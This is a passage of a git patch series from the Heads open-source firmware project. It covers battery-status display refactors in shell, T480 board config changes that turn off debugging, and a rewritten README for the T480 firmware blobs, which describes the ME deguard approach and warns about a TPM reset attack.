chk_exists + + if [[ ! -f "$me_deguarded" ]] || [ "$retry" = "y" ]; then + download_and_clean "$me_cleaner" "$me_cleaned" + deguard "$me_cleaned" "$me_deguarded" + rm -f "$me_cleaned" fi -fi + + chk_sha256sum "$DEGUARDED_ME_BIN_HASH" "$me_deguarded" +fi \ No newline at end of file From cb8d23c45a72ba173076f9686a9a88ee529408c1 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 21 Feb 2025 22:55:14 +0100 Subject: [PATCH 541/619] fix battery health and charging display in system info calc was not found, but awk can do the job just fine and was anyway already used Signed-off-by: gaspar-ilom --- initrd/etc/functions | 32 ++++++-------------------------- 1 file changed, 6 insertions(+), 26 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index 6f20e4a47..f47031165 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1221,36 +1221,16 @@ fromhex_plain() { } print_battery_health() { - TRACE_FUNC - if ls /sys/class/power_supply/BAT* 1>/dev/null 2>&1; then - for battery in /sys/class/power_supply/BAT*; do - if [ -d "$battery" ]; then - charge_full=$(cat "$battery/charge_full") - charge_full_design=$(cat "$battery/charge_full_design") - battery_health=$(calc "$charge_full / $charge_full_design * 100" | awk -F "." '{print $1}') - DEBUG "Battery $battery health: $battery_health%" - echo "$battery_health" - fi - done - else - DEBUG "No battery found in /sys/class/power_supply/" + if [ -d /sys/class/power_supply/BAT* ]; then + battery_health=$(awk "BEGIN {printf \"%d\", ($(cat /sys/class/power_supply/BAT*/charge_full)/$(cat /sys/class/power_supply/BAT*/charge_full_design)*100)}") + echo "$battery_health" fi } print_battery_charge() { - TRACE_FUNC - if ls /sys/class/power_supply/BAT* 1>/dev/null 2>&1; then - for battery in /sys/class/power_supply/BAT*; do - if [ -d "$battery" ]; then - charge_now=$(cat "$battery/charge_now") - charge_full=$(cat "$battery/charge_full") - battery_charge=$(calc "$charge_now / $charge_full * 100" | awk -F "." '{print $1}') - DEBUG "Battery $battery charge: $battery_charge%" - echo "$battery_charge" - fi - done - else - DEBUG "No battery found in /sys/class/power_supply/" + if [ -d /sys/class/power_supply/BAT* ]; then + battery_charge=$(awk "BEGIN {printf \"%d\", ($(cat /sys/class/power_supply/BAT*/charge_now)/$(cat /sys/class/power_supply/BAT*/charge_full)*100)}") + echo "$battery_charge" fi } From 60faa5f05c807514eb03be00fa3850670608e142 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sun, 23 Feb 2025 00:04:41 +0100 Subject: [PATCH 542/619] fix show system info battery display in case there is more than 1 battery show health and charge state for each battery Signed-off-by: gaspar-ilom --- initrd/etc/functions | 20 ++++++++++++-------- initrd/etc/gui_functions | 6 +----- 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index f47031165..2b0eeb452 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1221,17 +1221,21 @@ fromhex_plain() { } print_battery_health() { - if [ -d /sys/class/power_supply/BAT* ]; then - battery_health=$(awk "BEGIN {printf \"%d\", ($(cat /sys/class/power_supply/BAT*/charge_full)/$(cat /sys/class/power_supply/BAT*/charge_full_design)*100)}") - echo "$battery_health" - fi + for battery in /sys/class/power_supply/BAT*; do + if [[ -d "${battery}" ]]; then + battery_health=$(awk "BEGIN {printf \"%d\", ($(cat "${battery}/charge_full")/$(cat "${battery}/charge_full_design")*100)}") + echo "$(basename "${battery}") ${battery_health}" + fi + done } print_battery_charge() { - if [ -d /sys/class/power_supply/BAT* ]; then - battery_charge=$(awk "BEGIN {printf \"%d\", ($(cat /sys/class/power_supply/BAT*/charge_now)/$(cat /sys/class/power_supply/BAT*/charge_full)*100)}") - echo "$battery_charge" - fi + for battery in /sys/class/power_supply/BAT*; do + if [[ -d "${battery}" ]]; then + battery_charge=$(awk "BEGIN {printf \"%d\", ($(cat "${battery}/charge_now")/$(cat "${battery}/charge_full")*100)}") + echo "$(basename "${battery}") ${battery_charge}" + fi + done } generate_random_mac_address() { diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 8c6a65199..5b6fc5203 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -165,11 +165,7 @@ file_selector() { show_system_info() { TRACE_FUNC - battery_charge="$(print_battery_charge)" - battery_health="$(print_battery_health)" - if [ -n "$battery_charge" ] && [ -n "$battery_health" ]; then - battery_status="\nBattery charge: $battery_charge%\nBattery health: $battery_health%\n" - fi + battery_status=$(paste <(print_battery_charge) <(print_battery_health) | awk '{printf "\\nBattery %s charge: %s%\\nBattery %s health: %s%", substr($1,4), $2, substr($3,4), $4}; END { if (NR!=0) printf "\\n"}') memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') memtotal=$((${memtotal} / 1024 / 1024 + 1)) From 543ab5543e8d0ff08133a522295bd987f106e623 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sun, 23 Feb 2025 00:06:51 +0100 Subject: [PATCH 543/619] refactor how battery status string is composed simplify and make sure health and charge state are printed next to each other for the same battery Signed-off-by: gaspar-ilom --- initrd/etc/functions | 21 +++++---------------- initrd/etc/gui_functions | 9 +++++++-- 2 files changed, 12 insertions(+), 18 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index 2b0eeb452..b49bd99f9 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1220,22 +1220,11 @@ fromhex_plain() { fold -w 60 | xxd -p -r } -print_battery_health() { - for battery in /sys/class/power_supply/BAT*; do - if [[ -d "${battery}" ]]; then - battery_health=$(awk "BEGIN {printf \"%d\", ($(cat "${battery}/charge_full")/$(cat "${battery}/charge_full_design")*100)}") - echo "$(basename "${battery}") ${battery_health}" - fi - done -} - -print_battery_charge() { - for battery in /sys/class/power_supply/BAT*; do - if [[ -d "${battery}" ]]; then - battery_charge=$(awk "BEGIN {printf \"%d\", ($(cat "${battery}/charge_now")/$(cat "${battery}/charge_full")*100)}") - echo "$(basename "${battery}") ${battery_charge}" - fi - done +print_battery_state() { + battery="$1" + battery_charge=$(awk "BEGIN {printf \"%d\", ($(cat "${battery}/charge_now")/$(cat "${battery}/charge_full")*100)}") + battery_health=$(awk "BEGIN {printf \"%d\", ($(cat "${battery}/charge_full")/$(cat "${battery}/charge_full_design")*100)}") + echo "$(basename "${battery}") ${battery_charge} ${battery_health}" } generate_random_mac_address() { diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 5b6fc5203..32a11a1e1 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -164,8 +164,13 @@ file_selector() { } show_system_info() { - TRACE_FUNC - battery_status=$(paste <(print_battery_charge) <(print_battery_health) | awk '{printf "\\nBattery %s charge: %s%\\nBattery %s health: %s%", substr($1,4), $2, substr($3,4), $4}; END { if (NR!=0) printf "\\n"}') + battery_status="" + for battery in /sys/class/power_supply/BAT*; do + if [[ -d "${battery}" ]]; then + battery_status+="$(awk '{printf "\\nBattery %s charge: %s%\\nBattery %s health: %s%", substr($1,4), $2, substr($1,4), $3}' <<< "$(print_battery_state "${battery}")")" + fi + done + battery_status="${battery_status:+${battery_status}\n}" memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') memtotal=$((${memtotal} / 1024 / 1024 + 1)) From a45c483bdd39900918b1097377ea42f008629426 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sun, 23 Feb 2025 11:31:40 +0100 Subject: [PATCH 544/619] properly escape % chars in format string to display battery status Signed-off-by: gaspar-ilom --- initrd/etc/gui_functions | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 32a11a1e1..e00060204 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -167,7 +167,7 @@ show_system_info() { battery_status="" for battery in /sys/class/power_supply/BAT*; do if [[ -d "${battery}" ]]; then - battery_status+="$(awk '{printf "\\nBattery %s charge: %s%\\nBattery %s health: %s%", substr($1,4), $2, substr($1,4), $3}' <<< "$(print_battery_state "${battery}")")" + battery_status+="$(awk '{printf "\\nBattery %s charge: %s%%\\nBattery %s health: %s%%", substr($1,4), $2, substr($1,4), $3}' <<< "$(print_battery_state "${battery}")")" fi done battery_status="${battery_status:+${battery_status}\n}" From 9eb7618e82678c56edede9a4ed50678df48ac411 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Mon, 24 Feb 2025 13:59:01 +0100 Subject: [PATCH 545/619] add more board tester for the T480 Signed-off-by: gaspar-ilom --- BOARD_TESTERS.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index 5a912bd18..cb6182828 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -34,7 +34,7 @@ xx4x(Haswell): xx8x(Kaby Lake Refresh): === -- [ ] t480: @gaspar-ilom @doritos4mlady @MattClifton76 +- [ ] t480: @gaspar-ilom @doritos4mlady @MattClifton76 @notgivenby @ akunterkontrolle Librems: === From 02bfdeec989f74014551d795ef685b4804ebe276 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Mon, 24 Feb 2025 14:14:37 +0100 Subject: [PATCH 546/619] apply the same fix for displaying the battery state to: initrd/bin/oem-system-info-xx30 Signed-off-by: gaspar-ilom --- initrd/bin/oem-system-info-xx30 | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/initrd/bin/oem-system-info-xx30 b/initrd/bin/oem-system-info-xx30 index fc98f0925..a76a0effa 100755 --- a/initrd/bin/oem-system-info-xx30 +++ b/initrd/bin/oem-system-info-xx30 @@ -12,11 +12,13 @@ export BG_COLOR_MAIN_MENU="normal" TRACE_FUNC -battery_charge="$(print_battery_charge)" -battery_health="$(print_battery_health)" -if [ -n "$battery_charge" ] && [ -n "$battery_health" ]; then - battery_status="\nBattery charge: $battery_charge% Battery health: $battery_health%\n" -fi +battery_status="" +for battery in /sys/class/power_supply/BAT*; do + if [[ -d "${battery}" ]]; then + battery_status+="$(awk '{printf "\\nBattery %s charge: %s%%\\nBattery %s health: %s%%", substr($1,4), $2, substr($1,4), $3}' <<< "$(print_battery_state "${battery}")")" + fi +done +battery_status="${battery_status:+${battery_status}\n}" usb="$(lsusb)" pci="$(lspci)" From 6f2e7cbefa6fd0b99029d20d13c8729752850b79 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Mon, 24 Feb 2025 14:24:03 +0100 Subject: [PATCH 547/619] disable debugging on the T480 all remaining issues do not seem to be heads but coreboot related no debugging needed anymore, issues should be reported upstream and fixed there Signed-off-by: gaspar-ilom --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 7 ++----- boards/t480-maximized/t480-maximized.config | 7 ++----- config/coreboot-t480-maximized.config | 2 +- 3 files changed, 5 insertions(+), 11 deletions(-) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index 876c1482b..1dc5dfc32 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -19,7 +19,6 @@ export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config -# TODO: Make a ThinkPad-common Linux config file. CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) @@ -77,13 +76,11 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y -#Enable DEBUG output, debug output probably a good idea for first tests TODO:remove prior of merge -export CONFIG_DEBUG_OUTPUT=y +export CONFIG_DEBUG_OUTPUT=n export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=n -#Enable quiet mode: technical information logged under /tmp/debug.log, not quiet for first test -export CONFIG_QUIET_MODE=n +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 71be0ed71..5b1f34b22 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -19,7 +19,6 @@ export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config -# TODO: Make a ThinkPad-common Linux config file. CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) @@ -77,13 +76,11 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y -#Enable DEBUG output, debug output probably a good idea for first tests TODO:remove prior of merge -export CONFIG_DEBUG_OUTPUT=y +export CONFIG_DEBUG_OUTPUT=n export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=n -#Enable quiet mode: technical information logged under /tmp/debug.log, not quiet for first test -export CONFIG_QUIET_MODE=n +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/config/coreboot-t480-maximized.config b/config/coreboot-t480-maximized.config index a9e80a7ed..60f2a6fa1 100644 --- a/config/coreboot-t480-maximized.config +++ b/config/coreboot-t480-maximized.config @@ -707,7 +707,7 @@ CONFIG_VBOOT_LIB=y CONFIG_TPM2=y CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM2=y -CONFIG_DEBUG_TPM=y +# CONFIG_DEBUG_TPM is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM2=y # CONFIG_TPM_HASH_SHA1 is not set From 7ce3ac709f4a2ba6b3f513c455dedd435ec5f656 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 24 Feb 2025 09:56:46 -0500 Subject: [PATCH 548/619] functions: remove now unused calc helper, readd TRACE_FUNC and DEBUG info for future tracing and debug of now hackish bashisms. Signed-off-by: Thierry Laurion --- initrd/etc/functions | 5 ++--- initrd/etc/gui_functions | 1 + 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index b49bd99f9..81809b4ec 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1190,9 +1190,6 @@ scan_boot_options() { fi } -calc() { - awk "BEGIN { print "$*" }" -} # truncate a file to a size only if it is longer (busybox truncate lacks '<' and # always sets the file size) @@ -1221,7 +1218,9 @@ fromhex_plain() { } print_battery_state() { + TRACE_FUNC battery="$1" + DEBUG "Battery: $1" battery_charge=$(awk "BEGIN {printf \"%d\", ($(cat "${battery}/charge_now")/$(cat "${battery}/charge_full")*100)}") battery_health=$(awk "BEGIN {printf \"%d\", ($(cat "${battery}/charge_full")/$(cat "${battery}/charge_full_design")*100)}") echo "$(basename "${battery}") ${battery_charge} ${battery_health}" diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index e00060204..2b370c1f8 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -164,6 +164,7 @@ file_selector() { } show_system_info() { + TRACE_FUNC battery_status="" for battery in /sys/class/power_supply/BAT*; do if [[ -d "${battery}" ]]; then From d9f4cbcfc348d1e1fc50ac27241811f3b0ef9919 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 24 Feb 2025 12:11:25 -0500 Subject: [PATCH 549/619] t480 boards: disable tracing output as for all other boards Signed-off-by: Thierry Laurion --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 3 ++- boards/t480-maximized/t480-maximized.config | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index 1dc5dfc32..34de19b0d 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -77,9 +77,10 @@ export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y export CONFIG_DEBUG_OUTPUT=n -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 5b1f34b22..be3c2948c 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -77,9 +77,10 @@ export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y export CONFIG_DEBUG_OUTPUT=n -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n From 1fb37f01a30914b56000d0b396205df6dcb53f06 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 24 Feb 2025 16:29:00 -0500 Subject: [PATCH 550/619] blobs/xx80/README: fix gbe hash repro user@heads-t480:~/heads/blobs/xx80$ git status On branch poc_t480 nothing to commit, working tree clean user@heads-t480:~/heads/blobs/xx80$ cat hashes.txt d3af2dfbf128bcddfc8c5810a11478697312e5701668f719f80f3f6322db5642 gbe.bin f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin 1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin user@heads-t480:~/heads/blobs/xx80$ cat hashes.txt | awk -F " " {'print $1'} | while read hash; grep $hash README; done bash: syntax error near unexpected token `done' user@heads-t480:~/heads/blobs/xx80$ cat hashes.txt | awk -F " " {'print $1'} | while read hash; do grep $hash README; done f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin 1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin user@heads-t480:~/heads/blobs/xx80$ vim README user@heads-t480:~/heads/blobs/xx80$ vim README user@heads-t480:~/heads/blobs/xx80$ cat hashes.txt | awk -F " " {'print $1'} | while read hash; do grep $hash README; done d3af2dfbf128bcddfc8c5810a11478697312e5701668f719f80f3f6322db5642 gbe.bin f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin 1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin user@heads-t480:~/heads/blobs/xx80$ sha256sum -c hashes.txt gbe.bin: OK ifd.bin: OK me.bin: OK user@heads-t480:~/heads/blobs/xx80$ cat hashes.txt | awk -F " " {'print $1'} | while read hash; do grep $hash README; done d3af2dfbf128bcddfc8c5810a11478697312e5701668f719f80f3f6322db5642 gbe.bin f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin 1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin user@heads-t480:~/heads/blobs/xx80$ cat .gitignore me.bin user@heads-t480:~/heads/blobs/xx80$ git status Signed-off-by: Thierry Laurion --- blobs/xx80/README | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/blobs/xx80/README b/blobs/xx80/README index 082926c1e..d30e68566 100644 --- a/blobs/xx80/README +++ b/blobs/xx80/README @@ -23,8 +23,8 @@ sha256sum: f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin sha256sum: -6b7f3912995fb87ae62956e009470b35b72b5b9a4bfd7bed48da429af9804866 gbe.bin +d3af2dfbf128bcddfc8c5810a11478697312e5701668f719f80f3f6322db5642 gbe.bin ------------------------ Notes: as specified in first link, this ME can be deployed to: - T480 and T480s \ No newline at end of file + T480 and T480s From de722cd0f221803680808892dab3aa10228ea698 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 24 Feb 2025 16:32:09 -0500 Subject: [PATCH 551/619] BOARD_TESTERS.md: remove space between @ and avatar name Signed-off-by: Thierry Laurion --- BOARD_TESTERS.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index cb6182828..e7e481c3f 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -34,7 +34,7 @@ xx4x(Haswell): xx8x(Kaby Lake Refresh): === -- [ ] t480: @gaspar-ilom @doritos4mlady @MattClifton76 @notgivenby @ akunterkontrolle +- [ ] t480: @gaspar-ilom @doritos4mlady @MattClifton76 @notgivenby @akunterkontrolle Librems: === From 60219a443cff78fdde4a66f3855b7718fc987e0b Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Mon, 24 Feb 2025 22:34:40 +0100 Subject: [PATCH 552/619] update the T480 blob readme to better explain which blobs are there and where they come from remove duplicate hashes add reference to info on tpm reset because people might not read everything rename README to README.md as it is markdown Signed-off-by: gaspar-ilom --- blobs/xx80/README | 30 ------------------------------ blobs/xx80/README.md | 42 ++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 30 deletions(-) delete mode 100644 blobs/xx80/README create mode 100644 blobs/xx80/README.md diff --git a/blobs/xx80/README b/blobs/xx80/README deleted file mode 100644 index d30e68566..000000000 --- a/blobs/xx80/README +++ /dev/null @@ -1,30 +0,0 @@ -The ME blobs dumped in this directory come from the following link: https://dl.dell.com/FOLDER04573471M/1/Inspiron_5468_1.3.0.exe - -This provides ME version 11.6.0.1126. In this version CVE-2017-5705 has not yet been fixed. -See https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html -Therefore, Bootguard can be disabled by deguard with a patched ME. - -1.0.0:Automatically extract, neuter and deguard me.bin -download_clean_me.sh : Downloads vulnerable ME from Dell verify checksum, extract ME, neuters ME, relocate and trim it, then apply deguard patch and place it into me.bin - -sha256sum: -1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin - -1.0.1: Extract blobs from original rom: -extract.sh: takes backup, unlocks ifd, apply me_cleaner to neuter, relocate, trim and deguard it, modify BIOS and ME region of IFD and place output files into this dir. - -sha256sum: will vary depending of IFD and ME extracted where IFD regions of BIOS and ME should be consistent. - -1.1: More blobs --------------------- -ifd.bin was extracted from a T480 from an external flashrom backup. - -sha256sum: -f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin - -sha256sum: -d3af2dfbf128bcddfc8c5810a11478697312e5701668f719f80f3f6322db5642 gbe.bin ------------------------- - -Notes: as specified in first link, this ME can be deployed to: - T480 and T480s diff --git a/blobs/xx80/README.md b/blobs/xx80/README.md new file mode 100644 index 000000000..81931cca3 --- /dev/null +++ b/blobs/xx80/README.md @@ -0,0 +1,42 @@ +# T480 Blobs + +The following blobs are needed: + +* `ifd.bin` +* `gbe.bin` +* `me.bin` + +## me.bin: automatically extract, neuter and deguard + +download_clean_me.sh : Download vulnerable ME from Dell, verify checksum, extract ME, neuter ME and trim it, then apply the deguard patch and place it into me.bin + +The ME blob dumped in this directory comes from the following link: https://dl.dell.com/FOLDER04573471M/1/Inspiron_5468_1.3.0.exe + +This provides ME version 11.6.0.1126. In this version CVE-2017-5705 has not yet been fixed. +See https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html +Therefore, Bootguard can be disabled by deguard with a patched ME. + +As specified in the first link, this ME can be deployed to: + +* T480 +* T480s + +## ifd.bin and gbe.bin + +Both blobs were taken from libreboot: https://codeberg.org/libreboot/lbmk/src/commit/68ebde2f033ce662813dbf8f5ab21f160014029f/config/ifd/t480 + +The GBE MAC address was forged to: `00:DE:AD:C0:FF:EE MAC` + +## Integrity + +Sha256sums: `blobs/xx80/hashes.txt` + +# CAVEATS for the board: + +See the board configs `boards/t480-[hotp-]maximized/t480-[hotp-]maximized.config`: + +> This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +> This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. +> Also it can be used to extract FDE keys from a TPM. +> The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 +> Make sure you understand the implications of the attack for your threat model before using this board. \ No newline at end of file From 98d79828345499b5471f52529f18bb5224e32aa7 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 25 Feb 2025 09:24:58 -0500 Subject: [PATCH 553/619] blobs/xx30/optiplex_7010_9010.sh: use web.arhive.org to download zip containing ivy/sandy file now missing upstream. Fix path where file is found in zip Signed-off-by: Thierry Laurion --- blobs/xx30/optiplex_7010_9010.sh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/blobs/xx30/optiplex_7010_9010.sh b/blobs/xx30/optiplex_7010_9010.sh index adb91df05..2b215248c 100755 --- a/blobs/xx30/optiplex_7010_9010.sh +++ b/blobs/xx30/optiplex_7010_9010.sh @@ -32,9 +32,11 @@ if [[ ! -f "${output_dir}/IVB_BIOSAC_PRODUCTION.bin" ]] || [[ ! -f "${output_dir mv IVB_BIOSAC_PRODUCTION.bin "${output_dir}/" #Download sinit - wget https://cdrdv2.intel.com/v1/dl/getContent/630744 -O sinit.zip + # Original URL got rid of needed file, keeping original URL. Let's use archive.org + #wget https://cdrdv2.intel.com/v1/dl/getContent/630744 -O sinit.zip + wget http://web.archive.org/web/20230712081031/https://cdrdv2.intel.com/v1/dl/getContent/630744 -O sinit.zip unzip sinit.zip - mv 630744_003/SNB_IVB_SINIT_20190708_PW.bin "${output_dir}/" + mv 630744_002/SNB_IVB_SINIT_20190708_PW.bin "${output_dir}/" popd || exit fi From e647e20b4a12ea4bfea8e39a9a87e75d070ce210 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Wed, 26 Feb 2025 23:09:35 +0100 Subject: [PATCH 554/619] refactor printing of battery state to confuse less users only print the battery manufacturer in case there is more than one battery, otherwise omit it make the code more readable for non-bash developers extract common functions Signed-off-by: gaspar-ilom --- initrd/bin/oem-system-info-xx30 | 8 +------ initrd/etc/functions | 41 ++++++++++++++++++++++++++++----- initrd/etc/gui_functions | 8 +------ 3 files changed, 37 insertions(+), 20 deletions(-) diff --git a/initrd/bin/oem-system-info-xx30 b/initrd/bin/oem-system-info-xx30 index a76a0effa..41f57d278 100755 --- a/initrd/bin/oem-system-info-xx30 +++ b/initrd/bin/oem-system-info-xx30 @@ -12,13 +12,7 @@ export BG_COLOR_MAIN_MENU="normal" TRACE_FUNC -battery_status="" -for battery in /sys/class/power_supply/BAT*; do - if [[ -d "${battery}" ]]; then - battery_status+="$(awk '{printf "\\nBattery %s charge: %s%%\\nBattery %s health: %s%%", substr($1,4), $2, substr($1,4), $3}' <<< "$(print_battery_state "${battery}")")" - fi -done -battery_status="${battery_status:+${battery_status}\n}" +battery_status="$(print_battery_state)" usb="$(lsusb)" pci="$(lspci)" diff --git a/initrd/etc/functions b/initrd/etc/functions index 81809b4ec..61fb34fee 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1217,13 +1217,42 @@ fromhex_plain() { fold -w 60 | xxd -p -r } -print_battery_state() { - TRACE_FUNC +print_battery_charge() { + local battery + battery="$1" + echo "$((100*$(cat "${battery}/charge_now")/$(cat "${battery}/charge_full")))" +} + +print_battery_health() { + local battery + battery="$1" + echo "$((100*$(cat "${battery}/charge_full")/$(cat "${battery}/charge_full_design")))" +} + +print_battery_name() { + local battery battery="$1" - DEBUG "Battery: $1" - battery_charge=$(awk "BEGIN {printf \"%d\", ($(cat "${battery}/charge_now")/$(cat "${battery}/charge_full")*100)}") - battery_health=$(awk "BEGIN {printf \"%d\", ($(cat "${battery}/charge_full")/$(cat "${battery}/charge_full_design")*100)}") - echo "$(basename "${battery}") ${battery_charge} ${battery_health}" + echo "$(cat "${battery}/manufacturer") $(cat "${battery}/model_name")" +} + +# Print the charging and health state for all batteries +# Print the maufacturer and model name for each battery if more than 1 +# The printed string contains the full formatting including leading an trailing "\n" strings +print_battery_state() { + local battery_status + battery_status="" + all_batteries=(/sys/class/power_supply/BAT*) + for battery in "${all_batteries[@]}"; do + if [[ -d "${battery}" ]]; then + battery_name="Battery" + if [ "${#all_batteries[@]}" -gt 1 ]; then + battery_name+=" $(print_battery_name "${battery}")" + fi + battery_status+="\n${battery_name} charge: $(print_battery_charge "${battery}")%" + battery_status+="\n${battery_name} health: $(print_battery_health "${battery}")%" + fi + done + echo "${battery_status:+${battery_status}\n}" } generate_random_mac_address() { diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 2b370c1f8..f636e5912 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -165,13 +165,7 @@ file_selector() { show_system_info() { TRACE_FUNC - battery_status="" - for battery in /sys/class/power_supply/BAT*; do - if [[ -d "${battery}" ]]; then - battery_status+="$(awk '{printf "\\nBattery %s charge: %s%%\\nBattery %s health: 